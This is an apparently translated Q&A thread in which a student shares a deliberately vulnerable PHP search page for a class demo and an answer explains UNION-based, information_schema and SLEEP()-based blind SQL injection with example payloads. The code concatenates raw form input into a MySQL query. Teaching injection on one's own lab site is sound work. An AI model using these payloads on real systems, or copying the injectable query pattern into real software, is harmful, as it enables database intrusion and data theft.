我正在编写一个演示网页来展示类项目的SQL注入技术。我几乎可以肯定它是以正确的方式编码的,但是我无法让实际的注射工作。该代码应该从HTML文本框中获取输入并检查名为" stock"的表。并输出结果,如果有的话。以下是代码的相关部分:
<?php
//connect to db
$con = @mysql_connect('localhost','root','Secure') or die('Failed.');
mysql_select_db('test', $con) or die('Could not select database.');
?>
<!-- <div>Text box, takes user input for a search</div>-->
<div class="center">
<form action="index.php" method="post">
<p>Search: <input type="text" name="lookup" placeholder="Whatchu tryna find?"></p>
<br>
<p class= button ><input type="submit" name="search" value="search" size="100"></p>
</form>
</div>
<!-- <div>End of HTML code</div>-->
<?php
//Check if there is input, then put it in a variable called $search
if(isset($_POST['lookup'])){
$search = $_POST['lookup'];
if(empty($search)){
echo "Fill in all the fields";
exit();
}
}
//Query statement, held by $query
$query = mysql_query("SELECT * FROM `stock` WHERE `Name` LIKE '%$search%'");
//Take results from $query, output them
while ($list = mysql_fetch_assoc($query)){
echo 'Item: ' . $list['Name'] . '<br>';
echo 'Price: $' . $list['Price'] . '<br>';
echo 'Stock: ' . $list['Quantity'] . '<br>';
}
?>
我可以成功搜索&#39; stock&#39;表格,我可以通过搜索%
或在浏览器中输入http://localhost/index.php?search=hammer%20OR%201=1
来输出表格中的所有内容。但到目前为止我能做的就是这些。
我可以在此代码中更改任何内容以使SQLi更容易吗?或者我的SQLi技术出了什么问题?只要我能展示多种技术,从文本框或地址栏开始注入的位置并不重要。我可以从地址栏转储表,但我想显示sleep()函数被使用以及导航到其他表,甚至是我服务器中的其他数据库的转储信息。但我无法弄清楚如何做到这一点。
最后,有没有人知道SQLI的任何儿童脚本或程序我可以针对我的localhost网站运行?我仍然需要演示手动技术,但我认为向班级展示适当工具攻击易受攻击网站的速度可能会很快。显然我只会在我的项目中使用它,因为我不想去监狱。
编辑:帖子How can I prevent SQL injection in PHP?已被关联,它似乎非常详细但不完全是我正在寻找的东西,因为我需要知道如何打破网站,而不是解决它。这个问题确实与我的SQLi技术有关。
答案 0 :(得分:4)
MySQL注入最常用的技术是:
滥用UNION
将一个表上的查询转换为对任何表或值的查询,例如
SELECT * FROM `stock` WHERE `Name` LIKE '' AND 0 UNION SELECT DATABASE(), VERSION(), USER() -- '
粗体部分代表注入的内容。
使用information_schema
数据库来获取元数据,例如表和列的名称,例如。
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA = 'my_database' SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA = 'my_database' AND TABLE_NAME = 'a_table'
如果您的注射没有显示任何结果,请使用SLEEP()
功能进行真/假查询,例如:
SELECT SLEEP(2) FROM some_table WHERE id = 1 AND value LIKE 'a%' LIMIT 1
如果ID为1的列的值以“a”开头,则会休眠两秒钟,否则会立即返回。您可以使用一系列这些查询来慢慢猜测行的内容。 (例如:它是以“a”开头吗?NO。是否以“b”开头?是。是否以“ba”开头?... 等。)
此技术称为盲SQL注入。
答案 1 :(得分:0)
在搜索栏中试试这个:';这里有一些疑问; #